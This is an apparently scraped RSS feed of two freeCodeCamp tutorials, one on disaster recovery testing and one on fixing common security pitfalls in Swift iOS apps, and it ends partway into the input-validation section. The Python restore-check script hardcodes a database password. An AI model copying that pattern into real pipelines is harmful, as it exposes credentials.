<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Alex Tray - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Alex Tray - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sun, 24 May 2026 16:29:40 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/author/trayalex812/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ What is Disaster Recovery Testing? Explained with Practical Examples ]]>
                </title>
                <description>
                    <![CDATA[ Most teams are confident they can recover from a major outage until they actually have to. Backups exist, architectures are redundant and a recovery plan is documented somewhere, yet real incidents of ]]>
                </description>
                <link>https://www.freecodecamp.org/news/disaster-recovery-testing/</link>
                <guid isPermaLink="false">69a5614ffc6453a5f17ca809</guid>
                
                    <category>
                        <![CDATA[ Testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Databases ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Mon, 02 Mar 2026 10:07:11 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5fc16e412cae9c5b190b6cdd/57c1e51b-867c-444e-90f0-e6551284fe0a.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Most teams are confident they can recover from a major outage until they actually have to. Backups exist, architectures are redundant and a recovery plan is documented somewhere, yet real incidents often reveal critical gaps.</p>
<p>Disaster recovery testing is what separates assumed resilience from proven recovery, but it’s still skipped, rushed or treated as a checkbox exercise. For developers and technical teams, that gap can turn a manageable failure into a prolonged outage.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a href="#heading-what-is-disaster-recovery-testing">What is Disaster Recovery Testing?</a></p>
</li>
<li><p><a href="#heading-how-disaster-recovery-testing-works-in-practice">How Disaster Recovery Testing Works in Practice</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-testing-methods-developers-should-know">Disaster Recovery Testing Methods Developers Should Know</a></p>
</li>
<li><p><a href="#heading-what-technology-disaster-recovery-testing-evaluates">What Technology Disaster Recovery Testing Evaluates</a></p>
</li>
<li><p><a href="#heading-how-to-test-a-disaster-recovery-plan">How to Test a Disaster Recovery Plan</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-test-scenarios-practical-examples">Disaster Recovery Test Scenarios: Practical Examples</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-test-report-turning-tests-into-improvements">Disaster Recovery Test Report: Turning Tests Into Improvements</a></p>
</li>
<li><p><a href="#heading-disaster-recovery-audits-and-continuous-validation">Disaster Recovery Audits and Continuous Validation</a></p>
</li>
<li><p><a href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-is-disaster-recovery-testing"><strong>What is Disaster Recovery Testing?</strong></h2>
<p>Disaster recovery (DR) testing is the process of validating that systems, data and applications can be restored after a disruptive event within defined recovery objectives. It generally evaluates:</p>
<ul>
<li><p><strong>Recovery Time Objective (RTO)</strong>: How quickly systems must be restored.</p>
</li>
<li><p><strong>Recovery Point Objective (RPO)</strong>: How much data loss is acceptable.</p>
</li>
<li><p><strong>Operational readiness</strong>: Whether teams know what to do during an incident.</p>
</li>
</ul>
<p>A disaster recovery test plan documents how these elements are tested, who is responsible and what success looks like. Without testing, DR plans are assumptions, not guarantees.</p>
<h2 id="heading-how-disaster-recovery-testing-works-in-practice"><strong>How Disaster Recovery Testing Works in Practice</strong></h2>
<p>In real environments, disaster recovery testing is used to check all <a href="https://www.nakivo.com/blog/components-disaster-recovery-plan-checklist/">elements of the disaster recovery plan</a> and is rarely a single event. It’s a structured exercise that simulates failure, observes system behavior and measures outcomes against expectations.</p>
<p>A typical DR test involves:</p>
<ol>
<li><p><strong>Defining scope</strong> – Which applications, services, or data sets are included.</p>
</li>
<li><p><strong>Selecting a scenario</strong> – Outage, corruption, ransomware, region failure, and so on.</p>
</li>
<li><p><strong>Executing recovery actions</strong> – Restore data, fail over systems, reconfigure dependencies.</p>
</li>
<li><p><strong>Measuring results</strong> – Time to recovery, data consistency, service availability.</p>
</li>
<li><p><strong>Documenting findings</strong> – What worked, what failed, what needs improvement.</p>
</li>
</ol>
<p>For developers, the key shift is recognizing that DR testing isn’t just an ops exercise. Application architecture, data handling and deployment patterns all influence recovery outcomes.</p>
<p>Importantly, regulatory pressure is also reshaping how organizations approach recovery validation. Frameworks such as the <a href="https://heimdalsecurity.com/nis-2-directive">NIS2 Directive</a> require essential and important entities in the EU to implement robust cybersecurity risk management measures, including incident response and business continuity capabilities.</p>
<h2 id="heading-disaster-recovery-testing-methods-developers-should-know"><strong>Disaster Recovery Testing Methods Developers Should Know</strong></h2>
<p>Different testing methods provide different levels of confidence. Mature teams use more than one. Each method has a place, but relying only on low-impact testing creates blind spots that surface during real incidents.</p>
<h3 id="heading-checklist-testing"><strong>Checklist Testing</strong></h3>
<p>The simplest method: Teams review documented recovery steps without executing them. This helps validate documentation completeness but does not confirm real-world recoverability.</p>
<h3 id="heading-tabletop-exercises"><strong>Tabletop Exercises</strong></h3>
<p>Stakeholders walk through a simulated disaster scenario and discuss responses. Tabletop tests are useful for identifying communication gaps and unclear responsibilities, especially for cross-team coordination.</p>
<h3 id="heading-partial-or-component-testing"><strong>Partial or Component Testing</strong></h3>
<p>Specific systems, such as databases or backup restores, are tested in isolation. Developers often encounter this when validating recovery procedures for individual services or environments.</p>
<h3 id="heading-full-scale-testing"><strong>Full-scale Testing</strong></h3>
<p>This is the most comprehensive method. It involves actual failover or full recovery in production-like environments. While disruptive, full-scale tests provide the highest confidence.</p>
<h2 id="heading-what-technology-disaster-recovery-testing-evaluates"><strong>What Technology Disaster Recovery Testing Evaluates</strong></h2>
<p>Modern environments are complex, and disaster recovery testing must validate more than just data restores.</p>
<p>DR testing evaluates:</p>
<ul>
<li><p><strong>Backup integrity</strong> – Are backups usable, consistent and complete?</p>
</li>
<li><p><strong>Application dependencies</strong> – Do services come back in the correct order?</p>
</li>
<li><p><strong>Infrastructure recovery</strong> – Can compute, storage and networking be re-provisioned?</p>
</li>
<li><p><strong>Identity and access</strong> – Do credentials, secrets and permissions still function?</p>
</li>
<li><p><strong>Automation and scripts</strong> – Do recovery workflows still match current architectures?</p>
</li>
</ul>
<p>For developers, this often reveals hidden coupling between services, outdated scripts or environment-specific assumptions that were never documented.</p>
<h2 id="heading-how-to-test-a-disaster-recovery-plan"><strong>How to Test a Disaster Recovery Plan</strong></h2>
<p>Testing a disaster recovery plan doesn’t require shutting down production on day one. A practical, incremental approach works best.</p>
<ol>
<li><p><strong>Start with a single application</strong>: Pick a service with well-defined data and dependencies. Avoid starting with your most complex system.</p>
</li>
<li><p><strong>Validate backup restores</strong>: Restore data into a non-production environment and confirm application functionality, not just file presence.</p>
</li>
<li><p><strong>Measure RTO and RPO</strong>: Time the recovery process and compare results to stated objectives. At this stage, many teams can discover that their objectives were unrealistic.</p>
</li>
<li><p><strong>Test failure assumptions</strong>: Simulate real-world issues like missing credentials, expired certificates or partial data loss.</p>
</li>
<li><p><strong>Document gaps immediately</strong>: Update the disaster recovery test plan while findings are fresh. Untested fixes are just new assumptions.</p>
</li>
</ol>
<p>This approach makes disaster recovery testing part of standard processes rather than a once-a-year compliance task.</p>
<h3 id="heading-automating-restore-validation"><strong>Automating Restore Validation</strong></h3>
<p>One of the most common gaps in disaster recovery testing is stopping at “restore completed” instead of validating that the application actually works. A restored database that can’t serve queries or contains incomplete data doesn’t meet recovery objectives.</p>
<p>Teams can reduce this risk by automating post-restore validation. For example, after restoring a PostgreSQL database into a staging or isolated DR environment, a simple validation script can confirm connectivity and basic data integrity:</p>
<pre><code class="language-python">import psycopg2

import sys


def validate_restore():

&nbsp;&nbsp;&nbsp;&nbsp;try:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn = psycopg2.connect(

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host="restored-db.internal",

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;database="appdb",

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user="dr_test_user",

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password="securepassword"

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cur = conn.cursor()

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cur.execute("SELECT COUNT(*) FROM users;")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result = cur.fetchone()



&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if result and result[0] &gt; 0:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Restore validation successful.")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Restore validation failed: No data found.")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(1)


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.close()

&nbsp;&nbsp;&nbsp;&nbsp;except Exception as e:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"Restore validation error: {e}")

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(1)


validate_restore()
</code></pre>
<p>This script does three important things:</p>
<ul>
<li><p>Confirms the database is reachable</p>
</li>
<li><p>Executes a real query, not just a connection check</p>
</li>
<li><p>Fails explicitly if the expected data is missing</p>
</li>
</ul>
<p>In practice, teams can integrate scripts like this into CI/CD pipelines or scheduled recovery drills. The goal isn’t to test every edge case, but to move from “backup exists” to “restore is functionally verified.” Over time, these automated checks become part of the disaster recovery test plan, helping teams measure RTO accurately and detect configuration drift before a real incident exposes it.</p>
<h2 id="heading-disaster-recovery-test-scenarios-practical-examples"><strong>Disaster Recovery Test Scenarios: Practical Examples</strong></h2>
<p>Effective disaster recovery testing focuses on realistic failures, not idealized outages.</p>
<h3 id="heading-accidental-deletion-or-misconfiguration"><strong>Accidental Deletion or Misconfiguration</strong></h3>
<p>A dropped database table, deleted storage bucket or bad configuration change tests how quickly teams can restore specific data without rolling back entire systems. These everyday incidents often reveal slow or overly manual recovery processes.</p>
<h3 id="heading-data-corruption-and-application-failure"><strong>Data Corruption and Application Failure</strong></h3>
<p>Buggy releases can silently corrupt data while systems remain online. This scenario validates point-in-time recovery and whether teams can identify when corruption started, not just restore the latest backup.</p>
<h3 id="heading-ransomware-simulation"><strong>Ransomware Simulation</strong></h3>
<p>Ransomware testing checks whether clean, uncompromised backups can be restored in isolation. It often exposes gaps in backup immutability, credential handling and realistic recovery times.</p>
<h3 id="heading-infrastructure-or-platform-outage"><strong>Infrastructure or Platform Outage</strong></h3>
<p>Simulating the loss of a cluster, availability zone or region tests automation and infrastructure-as-code maturity. In virtualized environments, most commonly <a href="https://www.nakivo.com/vmware-disaster-recovery/">VMware disaster recovery</a>, testing involves restoring virtual machines at a secondary site and validating networking and application dependencies.</p>
<h3 id="heading-credential-and-access-failure"><strong>Credential and Access Failure</strong></h3>
<p>Recovery can stall if credentials, certificates or secret keys are unavailable. Testing this scenario validates identity systems and whether recovery procedures rely on fragile access assumptions.</p>
<h2 id="heading-disaster-recovery-test-report-turning-tests-into-improvements"><strong>Disaster Recovery Test Report: Turning Tests Into Improvements</strong></h2>
<p>Testing without documentation is wasted effort. A disaster recovery test report turns results into actionable improvements.</p>
<p>A valuable DR test report includes:</p>
<ul>
<li><p>Test scope and scenario</p>
</li>
<li><p>Expected vs. actual RTO/RPO</p>
</li>
<li><p>Recovery steps executed</p>
</li>
<li><p>Failures, delays and root causes</p>
</li>
<li><p>Recommended changes</p>
</li>
</ul>
<p>For developers, this often results in concrete action items: refactoring startup dependencies, adding health checks, improving automation or adjusting data protection policies. The report should feed directly into backlog planning.</p>
<h2 id="heading-disaster-recovery-audits-and-continuous-validation"><strong>Disaster Recovery Audits and Continuous Validation</strong></h2>
<p>Audits often expose what teams already suspect: Disaster recovery plans exist, but haven’t been tested recently (or at all).</p>
<p>Rather than treating audits as one-time events, teams should adopt continuous validation:</p>
<ul>
<li><p>Regular restore tests integrated into CI/CD pipelines.</p>
</li>
<li><p>Scheduled DR tests tied to major architecture changes.</p>
</li>
<li><p>Automated alerts when recovery objectives drift.</p>
</li>
</ul>
<p>This shifts disaster recovery testing from an annual obligation to an ongoing practice that evolves alongside the environment.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Disaster recovery testing is not about pessimism, it’s about realism. Systems and people change, and failure modes evolve faster than documentation. Without testing, even the best-designed recovery plan can become outdated.</p>
<p>For developers and technical teams, practicing disaster recovery testing builds confidence rooted in evidence, not assumptions. It exposes hidden dependencies, validates data protection strategies and ensures that when something goes wrong, recovery is predictable instead of chaotic.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build Secure iOS Apps in Swift: Common Security Pitfalls and How to Fix Them ]]>
                </title>
                <description>
                    <![CDATA[ These days, there are many ways attackers can try to compromise your applications. And thanks to the continued increase in cyberattacks, the demand for secure mobile applications – and by extension, secure coding – has never been higher. So if you’re... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-build-secure-ios-apps-in-swift-common-security-pitfalls-and-how-to-fix-them/</link>
                <guid isPermaLink="false">68ffdf1761d216440f5bb38a</guid>
                
                    <category>
                        <![CDATA[ Web Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ iOS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ios app development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Swift ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Mon, 27 Oct 2025 21:07:35 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761599240278/644f6ebb-6092-4ea0-99e3-a568bfb0390c.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>These days, there are many ways attackers can try to compromise your applications. And thanks to the continued increase in cyberattacks, the demand for secure mobile applications – and by extension, secure coding – has never been higher.</p>
<p>So if you’re an iOS developer, you should also learn to prioritize security at every stage of app development.</p>
<p>Swift, Apple’s modern programming language, offers a wealth of tools and frameworks that simplify development while enhancing security, but only when used correctly.</p>
<p>This article explores 10 common security pitfalls in Swift-based iOS apps and offers practical strategies to mitigate them.</p>
<h3 id="heading-prerequisites"><strong>Prerequisites</strong></h3>
<p>Before diving in, you’ll need:</p>
<ul>
<li><p>Working knowledge of Swift and iOS development.</p>
</li>
<li><p>Access to Xcode.</p>
</li>
<li><p>Basic understanding of how iOS apps communicate with servers.</p>
</li>
<li><p>Familiarity with Terminal/command line basics.</p>
</li>
</ul>
<p>The code examples are practical and explained step-by-step, making them accessible to junior developers while still offering value to experienced ones looking to strengthen their app's security.</p>
<h3 id="heading-what-well-cover">What we’ll cover:</h3>
<dl>
<ul>
<li><a href="" id="heading-what-are-the-most-prevalent-security-traps-in-swift-ios-applications">What are the Most Prevalent Security Traps in Swift iOS Applications?</a>
<ul>
<li><a href="" id="heading-1-insecure-data-storage">1. Insecure Data Storage</a></li>
<li><a href="" id="heading-2-weak-network-communication">2. Weak Network Communication</a></li>
<li><a href="" id="heading-3-improper-input-validation">3. Improper Input Validation</a></li>
<li><a href="" id="heading-4-hardcoding-secrets">4. Hardcoding Secrets</a></li>
<li><a href="" id="heading-5-insufficient-authentication-and-authorization">5. Insufficient Authentication and Authorization</a></li>
<li><a href="" id="heading-6-insecure-logging-and-error-handling">6. Insecure Logging and Error Handling</a></li>
<li><a href="" id="heading-7-ignoring-code-obfuscation-and-reverse-engineering">7. Ignoring Code Obfuscation and Reverse Engineering</a></li>
<li><a href="" id="heading-8-insecure-third-party-libraries">8. Insecure Third-Party Libraries</a></li>
<li><a href="" id="heading-9-insufficient-biometric-and-multi-factor-authentication">9. Insufficient Biometric and Multi-Factor Authentication</a></li>
<li><a href="" id="heading-10-disregarding-periodic-security-testing">10. Disregarding Periodic Security Testing</a></li>
</ul>
</li>
</ul>
</dl>

<h2 id="heading-what-are-the-most-prevalent-security-traps-in-swift-ios-applications"><strong>What are the Most Prevalent Security Traps in Swift iOS Applications?</strong></h2>
<p>Swift and iOS offer robust security features, but mistakes still happen. Following are the most common traps and how to fix them:</p>
<h3 id="heading-1-insecure-data-storage">1. Insecure Data Storage</h3>
<p>Among the most common mistakes developers make is having sensitive data stored insecurely. Passwords, tokens, or even individual user data can be left by accident in UserDefaults or local storage in unencrypted form. </p>
<p>While UserDefaults is convenient for small amounts of data, it is not secure for sensitive data as it is so easily accessible to attackers if the device is compromised.</p>
<h4 id="heading-how-to-fix">How to Fix:</h4>
<p>Use the Keychain Services API to securely store sensitive data. Keychain encrypts data and binds it to the device so that it can't be accessed by other unauthorized applications or users.</p>
<p>You can securely store credentials using libraries in Swift such as KeychainAccess or the built-in SecItemAdd and SecItemCopyMatching functions.</p>
<p>For example, this how you can store a user password in Keychain so as to ensure sensitive data is stored securely:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">do</span> {

<span class="hljs-keyword">try</span> keychain.<span class="hljs-keyword">set</span>(<span class="hljs-string">"userPassword123"</span>, key: <span class="hljs-string">"userPassword"</span>)

} <span class="hljs-keyword">catch</span> {

    <span class="hljs-built_in">print</span>(<span class="hljs-string">"Error saving to Keychain: \(error)"</span>)

}
</code></pre>
<p>Behind the scenes, here’s what happens when you call <code>keychain.set("userPassword123", key: "userPassword")</code> inside a KeychainManager class that uses Apple’s native Security framework for storage:</p>
<pre><code class="lang-swift"><span class="hljs-keyword">import</span> Security

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">KeychainManager</span> </span>{
 <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">set</span><span class="hljs-params">(<span class="hljs-number">_</span> value: String, key: String)</span></span> <span class="hljs-keyword">throws</span> {
     <span class="hljs-comment">// 1. Convert string to Data</span>
     <span class="hljs-keyword">guard</span> <span class="hljs-keyword">let</span> data = value.data(using: .utf8) <span class="hljs-keyword">else</span> {
         <span class="hljs-keyword">throw</span> <span class="hljs-type">NSError</span>(domain: <span class="hljs-string">"KeychainManager"</span>, code: -<span class="hljs-number">1</span>)
     }

     <span class="hljs-comment">// 2. Build the query dictionary</span>
     <span class="hljs-keyword">let</span> query: [<span class="hljs-type">String</span>: <span class="hljs-type">Any</span>] = [
         <span class="hljs-comment">// Store as password</span>
         kSecClass <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: kSecClassGenericPassword,
         <span class="hljs-comment">// Your app's bundle identifier</span>
         kSecAttrService <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: <span class="hljs-string">"com.yourapp.keychain"</span>,
         <span class="hljs-comment">// "userPassword"</span>
         kSecAttrAccount <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: key,
         <span class="hljs-comment">// "userPassword123" encrypted</span>
         kSecValueData <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: data,
         kSecAttrAccessible <span class="hljs-keyword">as</span> <span class="hljs-type">String</span>: kSecAttrAccessibleAfterFirstUnlock
     ]
     <span class="hljs-comment">// 3. Save to keychain (iOS encrypts it automatically)</span>
     <span class="hljs-keyword">let</span> status = <span class="hljs-type">SecItemAdd</span>(query <span class="hljs-keyword">as</span> <span class="hljs-type">CFDictionary</span>, <span class="hljs-literal">nil</span>)
     <span class="hljs-comment">// 4. Check if successful</span>
     <span class="hljs-keyword">guard</span> status == errSecSuccess <span class="hljs-keyword">else</span> {
         <span class="hljs-keyword">throw</span> <span class="hljs-type">NSError</span>(domain: <span class="hljs-string">"KeychainManager"</span>, code: <span class="hljs-type">Int</span>(status))
     }
 }
}
</code></pre>
<p>When this function runs, iOS converts the string value, such as "userPassword123", into encrypted binary data and stores it securely in the device’s Keychain database. The entry is saved under the provided key (for example, "userPassword"), and only your app can access it.</p>
<p>Behind the scenes, the Keychain leverages strong security features, including hardware-backed encryption using device-specific keys, optional biometric protection through Face ID or Touch ID, and app-level isolation to ensure that no other app can read or modify your stored credentials.</p>
<h3 id="heading-2-weak-network-communication">2. Weak Network Communication</h3>
<p>Transmitting sensitive data over the network is another area prone to vulnerabilities. Using unencrypted HTTP connections exposes your app to man-in-the-middle (MITM) attacks, allowing attackers to intercept and modify data in transit.  </p>
<p><strong>The Problem</strong>: When data travels between your app and server over an insecure connection, attackers on the same network (like public Wi-Fi) can:</p>
<ul>
<li><p>Read sensitive information (passwords, personal data, payment details)</p>
</li>
<li><p>Modify requests and responses</p>
</li>
<li><p>Impersonate your legitimate server</p>
</li>
</ul>
<h4 id="heading-how-to-fix-1">How to Fix:</h4>
<p><strong>1. Always Use HTTPS</strong><br>HTTPS encrypts all data in transit, making it unreadable to attackers. iOS's App Transport Security (ATS) enforces this by blocking insecure HTTP connections by default:</p>
<pre><code class="lang-swift"><span class="hljs-comment">// ❌ INSECURE - HTTP connection (blocked by ATS by default)</span>
<span class="hljs-keyword">let</span> url = <span class="hljs-type">URL</span>(string: <span class="hljs-string">"http://api.example.com/login"</span>)

<span class="hljs-comment">// ✅ SECURE - HTTPS connection</span>
<span class="hljs-keyword">let</span> url = <span class="hljs-type">URL</span>(string: <span class="hljs-string">"https://api.example.com/login"</span>)
</code></pre>
<p>You’ll want to avoid adding ATS exceptions to your Info.plist unless absolutely necessary. If a third-party API only supports HTTP, contact them to upgrade or find a more secure alternative.</p>
<p><strong>2. Implement Certificate Pinning (Advanced Protection)</strong></p>
<p>Even with HTTPS, your app could still be vulnerable to sophisticated MITM attacks. An attacker could install a fraudulent certificate on a user's device (through malware or social engineering), for example, and intercept HTTPS traffic that appears valid. The attacker's fake certificate would be trusted by the device, allowing them to decrypt and read "secure" communications.</p>
<p>Certificate pinning solves this by making your app trust only your specific server's certificate, rejecting all others – even if they're otherwise valid.</p>
<p><strong>How Certificate Pinning Works:</strong></p>
<p>Your app stores the expected certificate (or its public key hash) and validates it during each connection:</p>
<pre><code class="lang-swift"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SecureNetworkManager</span>: <span class="hljs-title">NSObject</span>, <span class="hljs-title">URLSessionDelegate</span> </span>{

    <span class="hljs-comment">// Store your server's certificate hash</span>
    <span class="hljs-comment">// Get this by running: openssl x509 -in certificate.crt -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | base64</span>
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">let</span> expectedPublicKeyHash = <span class="hljs-string">"YOUR_CERTIFICATE_HASH_HERE"</span>

    <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">urlSession</span><span class="hljs-params">(
        <span class="hljs-number">_</span> session: URLSession,
        didReceive challenge: URLAuthenticationChallenge,
        completionHandler: @escaping <span class="hljs-params">(URLSession.AuthChallengeDisposition, URLCredential?)</span></span></span> -&gt; <span class="hljs-type">Void</span>
    ) {
        <span class="hljs-comment">// Step 1: Check if this is a server trust challenge (certificate validation)</span>
        <span class="hljs-keyword">guard</span> challenge.protectionSpace.authenticationMethod == <span class="hljs-type">NSURLAuthenticationMethodServerTrust</span>,
              <span class="hljs-keyword">let</span> serverTrust = challenge.protectionSpace.serverTrust
        <span class="hljs-keyword">else</span> {
            <span class="hljs-comment">// Not a certificate challenge; use default handling</span>
            completionHandler(.performDefaultHandling, <span class="hljs-literal">nil</span>)
            <span class="hljs-keyword">return</span>
        }

        <span class="hljs-comment">// Step 2: Validate that the server's certificate matches our pinned certificate</span>
        <span class="hljs-keyword">if</span> isValidServerTrust(serverTrust) {
            <span class="hljs-comment">// Certificate matches - proceed with the connection</span>
            completionHandler(.useCredential, <span class="hljs-type">URLCredential</span>(trust: serverTrust))
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-comment">// Certificate doesn't match - reject the connection to prevent MITM attack</span>
            completionHandler(.cancelAuthenticationChallenge, <span class="hljs-literal">nil</span>)
        }
    }

    <span class="hljs-comment">// Validates the server's certificate against our pinned hash</span>
    <span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">isValidServerTrust</span><span class="hljs-params">(<span class="hljs-number">_</span> serverTrust: SecTrust)</span></span> -&gt; <span class="hljs-type">Bool</span> {
        <span class="hljs-comment">// Extract the server's certificate</span>
        <span class="hljs-keyword">guard</span> <span class="hljs-keyword">let</span> serverCertificate = <span class="hljs-type">SecTrustGetCertificateAtIndex</span>(serverTrust, <span class="hljs-number">0</span>) <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
        }

        <span class="hljs-comment">// Get the public key from the certificate</span>
        <span class="hljs-keyword">let</span> serverPublicKey = <span class="hljs-type">SecCertificateCopyKey</span>(serverCertificate)
        <span class="hljs-keyword">guard</span> <span class="hljs-keyword">let</span> publicKey = serverPublicKey <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
        }

        <span class="hljs-comment">// Convert the public key to data and hash it</span>
        <span class="hljs-keyword">var</span> error: <span class="hljs-type">Unmanaged</span>&lt;<span class="hljs-type">CFError</span>&gt;?
        <span class="hljs-keyword">guard</span> <span class="hljs-keyword">let</span> publicKeyData = <span class="hljs-type">SecKeyCopyExternalRepresentation</span>(publicKey, &amp;error) <span class="hljs-keyword">as</span> <span class="hljs-type">Data?</span> <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
        }

        <span class="hljs-comment">// Hash the public key using SHA-256</span>
        <span class="hljs-keyword">let</span> publicKeyHash = <span class="hljs-type">SHA256</span>.hash(data: publicKeyData)
        <span class="hljs-keyword">let</span> publicKeyHashString = <span class="hljs-type">Data</span>(publicKeyHash).base64EncodedString()

        <span class="hljs-comment">// Compare with our expected hash</span>
        <span class="hljs-keyword">return</span> publicKeyHashString == expectedPublicKeyHash
    }
}
</code></pre>
<p>What this code does, step-by-step:</p>
<ol>
<li><p><code>urlSession(_:didReceive:completionHandler:)</code> – This method is called whenever your app makes an HTTPS connection. iOS asks: "Should I trust this server's certificate?"</p>
</li>
<li><p>Check authentication method – We verify this is a server trust challenge (certificate validation), not some other type of authentication.</p>
</li>
<li><p>Validate the certificate – We call <code>isValidServerTrust()</code>, which:</p>
<ul>
<li><p>Extracts the server's certificate from the connection</p>
</li>
<li><p>Gets the public key from that certificate</p>
</li>
<li><p>Hashes the public key using SHA-256</p>
</li>
<li><p>Compares the hash to our stored, expected hash</p>
</li>
</ul>
</li>
</ol>
<ol start="4">
<li>Make a decision:</li>
</ol>
<ul>
<li><p>If hashes match, then the server is legitimate. Proceed with <code>.useCredential</code>.</p>
</li>
<li><p>If hashes don't match, we have a potential MITM attack. Cancel with <code>.cancelAuthenticationChallenge</code>.</p>
</li>
</ul>
<p>So how does this prevent MITM attacks? Even if an attacker installs a fraudulent certificate on the user's device and intercepts traffic, their certificate's hash won't match your pinned hash. Your app will reject the connection, preventing the attacker from decrypting your traffic.</p>
<p><strong>3. Additional Protection: Recommend a VPN on Public Wi-Fi</strong></p>
<p>You can also recommend that users connect through a VPN when on public Wi-Fi for an added layer of security, and provide guidance on <a target="_blank" href="https://surfshark.com/blog/how-to-use-a-vpn">how to use a VPN</a> effectively to keep their data safe.</p>
<p>For developers, maintaining strong app security also depends on having a well-optimized system, learning <a target="_blank" href="https://cleanmymac.com/blog/macos-tahoe-slow">how to speed up a slow Mac</a> can help ensure smoother builds, faster testing, and a more secure overall development workflow.</p>
<h3 id="heading-3-improper-input-validation">3. Improper Input Validation</h3>
<p>Some developers neglect correct input validation, leading to a number of vulnerabilities including SQL injection, remote code execution, and data corruption.</p>
<p>While Swift has strong typing support, some developers don’t sanitize user input or API responses. Incorporating real-time <a target="_blank" href="https://www.freecodecamp.org/news/how-to-use-email-validation-api-for-flask-user-authentication/">API email validation</a> ensures that users provide legitimate, properly formatted email addresses before they are stored or processed, reducing both security risks and data quality issues.</p>
<h4 id="heading-how-to-fix-2">How to Fix:</h4>
<p>Input validation is your first line of defense against malicious data. Here's how to protect your iOS applications:</p>
